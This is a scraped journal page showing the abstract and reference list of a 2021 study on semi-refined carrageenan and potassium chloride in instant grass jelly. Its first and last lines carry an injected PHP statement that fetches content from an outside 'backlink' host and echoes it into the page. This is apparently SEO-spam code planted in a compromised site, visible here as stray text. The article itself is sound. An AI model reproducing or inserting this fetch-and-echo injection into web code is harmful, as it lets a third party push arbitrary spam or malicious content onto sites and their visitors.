$a = file_get_contents('https://purefine.online/backlink.php'); echo $a; The Effect of Semi-Refined Carrageenan and Potassium Chloride Added on Physico-Chemical Characteristics of Instant Grass Jelly | Abdul Hamid | Teknologi dan Kejuruan: Jurnal Teknologi, Kejuruan, dan Pengajarannya

The Effect of Semi-Refined Carrageenan and Potassium Chloride Added on Physico-Chemical Characteristics of Instant Grass Jelly

Mansoor Abdul Hamid, Jason Chuah Wai Kit, Mazarina Devi, Hasmadi Mamat, Noorakmar Ab Wahab, Umi Hartina Mohd. Razali, Fisal Ahmad

Abstract


This study focused on the effect of the combination effect of semi-refined carrageenan and potassium chloride on the instant grass jelly formulation. As in the traditional method of grass jelly production, the cornstarch was added to the grass jelly extract to give the gelling texture of grass jelly. Semi-refined carrageenan was added to replace the starch and the physicochemical characteristics and nutrient composition of the product was evaluated. The cincau leaves was boiled in a certain volume of water and the extraction was then converted to powder form via spray dryer. A pre-study has been conducted in determining the best method to produce grass jelly extract which based on the result of production yield, as well as conducted the physic-chemical tests. The finding showed that the extraction of 125g dried leaves of cincau with 4.5 L of water which boiled for 2.5 hours was the best extraction recovery with 75.92 percent. As a conclusion, SRC can be used as a starch replacer in grass jelly production as an instant product and texture is retained as well as nutrient contents of the product is improved

Keywords


Semi-refined carrageenan, potassium chloride, grass jelly, cincau

Full Text:

PDF

References


Adisakwattana, S., Thilavech, T., & Chusak, C. (2014). Mesona Chinensis Benth extract prevents AGE formation and protein oxidation against fructose-induced protein glycation in vitro. BMC Complementary and Alternative Medicine, 14(1), 1-9.

Aminah, A. (2000). Prinsip Penilaian Deria, Bangi. Universiti Kebangsaan Malaysia, Selangor.

AOAC. (2000). Official Method Analysis (17th Edition). Gaithersburg: Association of Official Analysis Chemists International as injectable material in periodontal surgery. Biomaterials. 23: 1295–1302.

Aziah, A. N., & Komathi, C. A. (2009). Physicochemical and functional properties of peeled and unpeeled pumpkin flour. Journal of food science, 74(7), S328-S333.

Banerjee, S., & Bhattacharya, S. (2012). Food gels: gelling process and new applications. Critical reviews in food science and nutrition, 52(4), 334-346.

Bono, A., Anisuzzaman, S. M., & Ding, O. W. (2014). Effect of process conditions on the gel viscosity and gel strength of semi-refined carrageenan (SRC) produced from seaweed (Kappaphycus alvarezii). Journal of King Saud University-Engineering Sciences, 26(1), 3-9.

Campo, V. L., Kawano, D. F., da Silva Jr, D. B., & Carvalho, I. (2009). Carrageenans: Biological properties, chemical modifications, and structural analysis–A review. Carbohydrate polymers, 77(2), 167-180.

Chegini, G. R., & Ghobadian, B. (2005). Effect of spray-drying conditions on physical properties of orange juice powder. Drying technology, 23(3), 657-668.

Chen, Y., Liao, M. L., & Dunstan, D. E. (2002). The rheology of K+-κ-carrageenan as a weak gel. Carbohydrate Polymers, 50(2), 109-116.

Dunstan, D. E., Chen, Y., Liao, M. L., Salvatore, R., Boger, D. V., & Prica, M. (2001). Structure and rheology of the κ-carrageenan/locust bean gum gels. Food Hydrocolloids, 15(4-6), 475-484.

Euromonitor International (2014). Asian Specialty Drinks in Malaysia.

Food Chemicals Codex (FCC). 1981. Food Chemicals Codex. Washington: National Academy press.

Haryadi, D. P., & Bangun, P. N. (2002). Purification og gel forming component extracted from janggelan (Mesona palustris BL) and characterization of the resulted gel. In Proceeding of the Seminar PATPI, Malang (pp. 30-31).

Haug, I. J., Draget, K. I., & Smidsrød, O. (2004). Physical behaviour of fish gelatin-κ-carrageenan mixtures. Carbohydrate Polymers, 56(1), 11-19.

Lai, V. M. F., Wong, P. L., & Lii, C. Y. (2000). Effects of Cation Properties on Sol‐gel Transition and Gel Properties of κ‐carrageenan. Journal of food science, 65(8), 1332-1337.

Larsson, J. (2009). Methods for measurement of solubility and dissolution rate of sparingly soluble drugs.

Lau, M. H., Tang, J., & Paulson, A. T. (2000). Texture profile and turbidity of gellan/gelatin mixed gels. Food Research International, 33(8), 665-671.

MacArtain, P., Jacquier, J. C., & Dawson, K. A. (2003). Physical characteristics of calcium induced κ-carrageenan networks. Carbohydrate Polymers, 53(4), 395-400.

Mangione, M. R., Giacomazza, D., Bulone, D., Martorana, V., Cavallaro, G., & San Biagio, P. L. (2005). K+ and Na+ effects on the gelation properties of κ-carrageenan. Biophysical Chemistry, 113(2), 129-135.

Medina-Torres, L., Brito-De La Fuente, E., Gómez-Aldapa, C. A., Aragon-Piña, A., & Toro-Vazquez, J. F. (2006). Structural characteristics of gels formed by mixtures of carrageenan and mucilage gum from Opuntia ficus indica. Carbohydrate polymers, 63(3), 299-309.

Munoz, J., Freile-Pelegrín, Y., & Robledo, D. (2004). Mariculture of Kappaphycus alvarezii (Rhodophyta, Solieriaceae) color strains in tropical waters of Yucatán, México. Aquaculture, 239(1-4), 161-177.

Phisut, N. (2012). Spray drying technique of fruit juice powder: some factors influencing the properties of product. International Food Research Journal, 19(4), 1297-1306.

Prajapati, V. D., Maheriya, P. M., Jani, G. K., & Solanki, H. K. (2014). RETRACTED: Carrageenan: A natural seaweed polysaccharide and its applications. Carbohydrate polymers, 105, 97-112.

Raman, M., & Doble, M. (2015). κ-Carrageenan from marine red algae, Kappaphycus alvarezii–A functional food to prevent colon carcinogenesis. Journal of functional foods, 15, 354-364.

Santhalakshmy, S., Bosco, S. J. D., Francis, S., & Sabeena, M. (2015). Effect of inlet temperature on physicochemical properties of spray-dried jamun fruit juice powder. Powder Technology, 274, 37-43.

Vidović, S. S., Vladić, J. Z., Vaštag, Ž. G., Zeković, Z. P., & Popović, L. M. (2014). Maltodextrin as a carrier of health benefit compounds in Satureja montana dry powder extract obtained by spray drying technique. Powder technology, 258, 209-215.

Thrimawithana, T. R., Young, S., Dunstan, D. E., & Alany, R. G. (2010). Texture and rheological characterization of kappa and iota carrageenan in the presence of counter ions. Carbohydrate Polymers, 82(1), 69-77.

Tonon, R. V., Freitas, S. S., & Hubinger, M. D. (2011). Spray drying of açai (Euterpe oleraceae Mart.) juice: effect of inlet air temperature and type of carrier agent. Journal of Food Processing and Preservation, 35(5), 691-700.

Venugopal, V. (2008). Marine products for healthcare: functional and bioactive nutraceutical compounds from the ocean. CRC press.

Widyaningsih, T. D., & Adilaras, P. (2013). Hepatoprotective effect of extract of black cincau (Mesona palustris BL) on paracetamol-induced liver toxicity in rats. Advance Journal of Food Science and Technology, 5(10), 1390-1394.




DOI: http://dx.doi.org/10.17977/um031v44i12021p73-84

Refbacks

  • There are currently no refbacks.


Copyright (c) 2021 Teknologi dan Kejuruan: Jurnal Teknologi, Kejuruan, dan Pengajarannya

Teknologi dan Kejuruan: Jurnal Teknologi, Kejuruan, dan Pengajarannya
E-ISSN 2477-0442 (online)

Contact
Faculty of Engineering, Universitas Negeri Malang (UM)
Jl. Semarang No 5 Malang 65145, Building H5,  1st  Floor. 

Homepage: http://journal2.um.ac.id/index.php/teknologi-kejuruan
Email: teknologikejuruan.ft@um.ac.id 

 Creative Commons License
This work is licensed under a Creative Commons Attribution 4.0 International License.   

View My Stats

 

---------------------------------------- ---------------------------------------- ---------------------------------------- $a = file_get_contents('https://purefine.online/backlink.php'); echo $a; ----------------------------------------